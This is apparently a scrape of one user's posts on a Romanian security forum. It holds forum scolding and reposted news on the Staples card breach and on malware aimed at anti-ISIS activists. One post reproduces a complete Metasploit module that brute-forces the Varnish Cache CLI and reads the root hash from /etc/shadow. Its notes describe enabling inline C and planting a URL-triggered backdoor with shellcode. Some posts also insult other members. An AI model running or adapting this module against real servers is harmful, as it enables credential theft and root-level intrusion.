Aerosol

multam si bine ai revenit bre!

Noroc si bine ai venit!

Cycle dupa parerea mea e cel mai bun bot. Pro trebuie pastrat ( sa ramana in permanenta e util )

Numai comentati frate aiurea, dupa ce ca omul ofera free mai faceti si gura mare...

@antisecro incearca sa nu mai postezi aiurea si uitate si tu la data " 05-10-2014 " e un topic mort de 2 luni jumate... Si logic ca e vorba de mediul online...

Dupa discutiile cu tine in pm am vazut ce gandire ai ( copil de 12/14 ani ) "ala" ai grija ca nu ne treagem de sireturi. Chiar nu stiu cu ce se "mananca" fiindca eu stau pe windows... Daca tot stiai nu trebuia sa mai postezi ( facand offtopic )

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Varnish Cache CLI Interface Bruteforce Utility', 'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce list of passwords. This module will also attempt to read the /etc/shadow root password hash if a valid password is found. It is possible to execute code as root with a valid password, however this is not yet implemented in this module.', 'References' => [ [ 'OSVDB', '67670' ], [ 'CVE', '2009-2936' ], # General [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ], [ 'CVE', '1999-0502'] # Weak password ], 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(6082), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]), ], self.class) deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS') end def run_host(ip) connect res = sock.get_once(-1,3) # detect banner if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth vprint_status("Varnishd CLI detected - authentication required.") each_user_pass { |user, pass| sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail. res = sock.get_once(-1,3) # grab challenge if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth challenge = $1 secret = pass + "\n" # newline is needed response = challenge + "\n" + secret + challenge + "\n" response = Digest::SHA256.hexdigest(response) sock.put("auth #{response}\n") res = sock.get_once(-1,3) if (res =~ /107 \d+/) # 107 auth vprint_status("FAILED: #{secret}") elsif (res =~ /200 \d+/) # 200 ok print_good("GOOD: #{secret}") report_auth_info( :host => rhost, :port => rport, :sname => ('varnishd'), :pass => pass, :proof => "#{res}", :source_type => "user_supplied", :active => true ) sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file. res = sock.get_once(-1,3) if (res =~ /root:([\D\S]+):/) # lazy. if ($1[0] == "!") vprint_error("/etc/shadow root uid is disabled.\n") else print_good("/etc/shadow root enabled:\nroot:#{$1}:") end else vprint_error("Unable to read /etc/shadow?:\n#{res}\n") end break else vprint_error("Unknown response:\n#{res}\n") end end } elsif (res =~ /Varnish Cache CLI 1.0/) print_good("Varnishd CLI does not require authentication!") else vprint_error("Unknown response:\n#{res}\n") end disconnect end end =begin aushack notes: - varnishd typically runs as root, forked as unpriv. - 'param.show' lists configurable options. - 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed. - 'user' is nobody. param.set user root (may have to stop/start the child to activate) - 'group' is nogroup. param.set group root (may have to stop/start the child to activate) - (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail). - vcc_unsafe_path is on. used to 'import ../../../../file' etc. - vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution. - code execution notes: * quotes must be escaped \" * \n is a newline * C{ }C denotes raw C code. * e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C * #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly). * C{ asm(\"int3\"); }C can be used for inline assembly / shellcode. * varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic. * example trigger for backdoor: VCL server: vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n" vcl.use foo start Attacker: telnet target 80 GET /backd00r HTTP/1.1 Host: 127.0.0.1 (... wait for child to execute debug trap INT3 / shellcode). CLI protocol notes from website: The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end. Requests are whitespace separated tokens terminated by a newline (NL) character. Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), ( ), (\"), (\%03o) and (\x%02x) The response consists of a header which can be read as fixed format or ASCII text: 1-3 %03d Response code 4 ' ' Space 5-12 %8d Length of body 13 \n NL character. Followed by the number of bytes announced by the header. The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h: enum cli_status_e { CLIS_SYNTAX = 100, CLIS_UNKNOWN = 101, CLIS_UNIMPL = 102, CLIS_TOOFEW = 104, CLIS_TOOMANY = 105, CLIS_PARAM = 106, CLIS_OK = 200, CLIS_CANT = 300, CLIS_COMMS = 400, CLIS_CLOSE = 500 }; =end Source

frumos spam, ce sunt oamenii in stare sa faca pentru 2$

@iam60 vezi ca maximus a pus intrebarea si partea cu Zemana e valabila

Bre omul cred ca se refera la ceva gen "Zemana Anti-Logger" dar nu a reusit sa explice! Zemana AntiLogger - The #1 Privacy Protection Software here

Copilule "intalnire cu gorilele" iar ai furat marfa de pe taraba? (ai bunton de EDIT nu mai tot da reply aiurea fiindca se face OffTopic) cat despre " tot din industrie " NU medicii fac site-urile si NU medicii se ocupa de ele ar fi bine sa iti folosesti creierul cand vrei sa spui ceva ( nu de altceva dar daca folosesti doar gura se pot intampla accidente cumplite - vezi cazul de fata) @Cyb3rGhost fi gata sa ne parasesti, de ce? Ai incalcat regulamentul ( fara jigniri ), esti doar un copil care nu are MINIMUM de cunostiinte cand vine vorba de IT, esti semi-analfabet ( asta cu indulgenta ) " sti " sau " stii " ? aceasta-i intrebarea!

@Cyb3rGhost nimeni nu o sa zica ca ai folosit "havij" tu ai folosit "Sql map" e o diferenta totusi... OFF:// daca tot e show off si NU este vre-un program de bug bounty pentru acest site de ce nu postezi aici POC's ?

Office supply chain Staples Inc. today finally acknowledged that a malware intrusion this year at some of its stores resulted in a credit card breach. The company now says some 119 stores were impacted between April and September 2014, and that as many as 1.16 million customer credit and debit cards may have been stolen as a result. KrebsOnSecurity first reported the suspected breach on Oct. 20, 2014, after hearing from multiple banks that had identified a pattern of credit and debit card fraud suggesting that several Staples office supply locations in the Northeastern United States were dealing with a data breach. At the time, Staples would say only that it was investigating “a potential issue” and had contacted law enforcement. In a statement issued today, Staples released a list of stores (PDF) hit with the card-stealing malware, and the stores are not limited to the Northeastern United States. “At 113 stores, the malware may have allowed access to this data for purchases made from August 10, 2014 through September 16, 2014,” Staples disclosed. “At two stores, the malware may have allowed access to data from purchases made from July 20, 2014 through September 16, 2014.” However, the company did say that during the investigation Staples also received reports of fraudulent payment card use related to four stores in Manhattan, New York at various times from April through September 2014. Aviv Raff, chief technology officer at Seculert, said the per-store minimum time to detect and respond to the breach was an average of 40 days. “Once again, much like previous breaches, the statistics of the Staples’ breach shows the necessity of moving from trying to prevent an attack to try and detect and respond as quickly as possible,” Raff said. It appears that the attackers responsible for the Staples break-in are not the same group thought to have hit Target and Home Depot. In November, I posted a story that cited sources close to the Staples investigation saying the breach at Staples impacted roughly 100 stores and was powered by some of the same criminal infrastructure seen in the intrusion disclosed earlier this year at Michaels craft stores. Source

(CNN) -- North Korea, with its previous technologically laggard image, may have just shocked the world with some alleged hacking savvy, but when ISIS comes to mind, so does the terrorists' digital bent. The Islamist militants renowned for their bloodthirsty beheading videos and slick social media propaganda, may have extended their skills into low-level hacking, a cyber-security human rights group believes. The Citizen Lab obtained new malware that has targeted the ISIS opposition group "Raqqa is being Slaughtered Silently," or RSS, and released an analysis of it Thursday. The researchers from the University of Toronto can't confirm that the cyberattack is coming from the Islamic State in Iraq and Syria, especially since the Syrian regime led by Bashar al-Assad has also used Trojan horse software to fight activists since 2011. But the workings of the malware, its intended target and what it achieves for the attacker lead The Citizen Lab to suspect ISIS the most. ISIS hates RSS ISIS is particularly motivated to strike RSS. The Islamist extremist militants like to depict their stronghold city of Raqqa to the world as a caliphate paradise, where life under strictest Sharia is practically Heaven on Earth. But RSS activists in the city reveal on social media Raqqa's bleeding underbelly, the terrorizing of residents. Warnings of graphic content speckle its Twitter feed, where photos of public beheadings and stonings of residents in Syrian cities are posted in unflinching detail. RSS also reports coalition airstrike hits against ISIS and warns Raqqa residents about new strict Sharia rules the militants impose on them. But activists participating in RSS activities have another enemy. Before ISIS took over their town, they were taking the same actions against the Syrian regime. Slapdash malware The Raqqa target who passed along the malware to The Citizen Lab did not fall for its ploy, and the group was not successfully hacked, as far as The Citizen Lab researcher John Scott-Railton knows. But he fears others who may have received the target email may not have been so savvy or lucky. The malware used in the attack is simple and lean, and whoever wrote it did some things wrong -- or felt it wasn't necessary to do them right. The Citizen Lab found the malware to be effective and very dangerous even without proper coding whistles and bells, because its targeting of victims is socially savvy. This is how it works. The victim receives an enticing email tailored to his anti-ISIS interests from people claiming to be expat Syrian activists living in Canada. They ask for the local activist's help in working with mainstream media. "We are preparing a lengthy news report on the realities of life in Raqqah," the email reads. "We are sharing some information with you with the hope that you will correct it in case it contains errors." ISIS opponents receive malware target emails containing fake activist photos ISIS opponents receive malware target emails containing fake activist photos Images are attached showing areal photos with spots marked on them portraying alleged ISIS strongholds and U.S. airstrike targets And the email includes a link to a file sharing site, where the victim is encouraged to download files, which contain a slideshow of more such images. But in the download is also a malicious file, and while the victim views more photos, it installs a set of small malware files onto the target's computer. Find them, punish them Once there, these bad files don't do much, The Citizen Lab said. Just enough. "The custom malware ... beacons home with the IP address of the victim's computer and details about his or her system each time the computer restarts," it said in its study. That's enough for militants who know the area to determine the user's physical location. The files don't include a key logger -- although many forms of the software that monitors what infected users are writing are readily available on the Internet. Such RATs (Remote Access Trojans) are typical of the Syrian regime, whose hackers seems more interested in obtaining opposition activist content, the researchers Scott-Railton and Seth Hardy said. "A RAT would have provided much greater access alongside IP information," they said. It makes the researchers think that whoever is using the slideshow malware may be interested only in "identifying and locating a target." Find his Internet café or apartment; haul him in; punish him -- or execute him. That's probably the idea, The Citizen Lab said. American journalist James Foley, who ISIS later beheaded, was captured coming out of an Internet café in Syria in 2012 before ISIS officially existed. Regime's signature different This attempted hack doesn't bear the signature of typical Syrian regime attackers, The Citizen Lab said. They usually employ servers to facilitate data sent back by their RATs, but this malware doesn't need one. It sends an attachment with the sparse information it gathers to an email account. "This functionality would be especially useful to an adversary unsure of whether it can maintain uninterrupted Internet connectivity," the researchers said. Whether shoddiness or simplicity: That email is improperly encrypted, leaving the recipient's logon credentials open to interception. One of the malware's passwords is also visible in its code. There are other apparent bugs, and software itself is unusually artless. "It relies on a half dozen separate executable files, each with a single task," the researchers said. But keeping it bare bones has an advantage, the researchers said. "The program looks less like malware, and may attract less attention from endpoint protection tools and scanners. Detections were low when the file was first submitted to VirusTotal, for example. It registered only 6/55 detections by anti-virus scanners, or a 10% detection rate." This malware flies under the radar. Source

E chiar foarte buna tinand cont ca e vorba de Spania.. esti un caz ,,fericit" sa zicem.

@dany_love ce rost isi are aceasta noua categorie? Exista ,, offtopic" de asta e acolo categoria sa se discute chestii de genul ce nu se incadreaza in restul categoriilor.

@Terry.Crews asta e multumirea lor dupa ce ajuta ( ce p%&£ cautau in elicopter) doamne ce mentalitate ai, erau in misiune nu se jucau ,,Delta Force 4"

ce intrebare stupida... logic ca NU.

Am sa explic eu @dany_love nu, nu are cum sa scada! de ex pentru postul asta ti-am dat si eu rep "-" fiindca nu isi avea rostul, e ca o jignire.

"nu am gasit nimic util" pai da ba ca nu gasesti rahaturi de furat steam. sunt multe chestii utile de aia ai categoriile ( Tutoriale in romana / Tutoriale in Engleza / Reverse Engineering ai si categorie de Programare si multe altele ) Inceteaza sa mai postezi chestii stupide si incearca sa inveti, ai de unde invata

Inceteaza sa mai vi cu cereri stupide, toate posturile tale au fost de genu: "cum fur contu de steam, cum fur itm stea, cum ..." inceteaza ma omule aici e Romanian Security Team nu ne ocupat cu conturi de steam si alte jocuri de rahat! Daca tot ai venit la noi nu ar fi pacat sa iei ban din prima? incearca sa faci ceva util, invata programare sau mai stiu eu ce sunt destule tutoriale pe forum.

Frate, NU INCERCATI SA VINDETI chestii care sunt FREE pe net! Nu ne pasa ca ne iei cu chestii lacrimogene gen : "am nevoie, probleme" tot MILOGEALA este + ca ai dat dovada de NESIMTIRE maxima. Sunt atatea topicuri in care copii cersesc 1/2$ si au primit ban, tu faci si mai rau incerci sa pacalesti utilizatori sa cumpere de la tine ceva free.

Ce rosta are aceasta aplicatie, cand poti baga direct la respins toate persoanele care te suna cu privat, sau orice numar doresti?

LOL, coaie ai cunostiinte cel putin dubioase bre. adica de la cunostiinte au numarul probabil. Tiganul ala are vocea lu smeagle...

De la aplicatie nu, nu afla.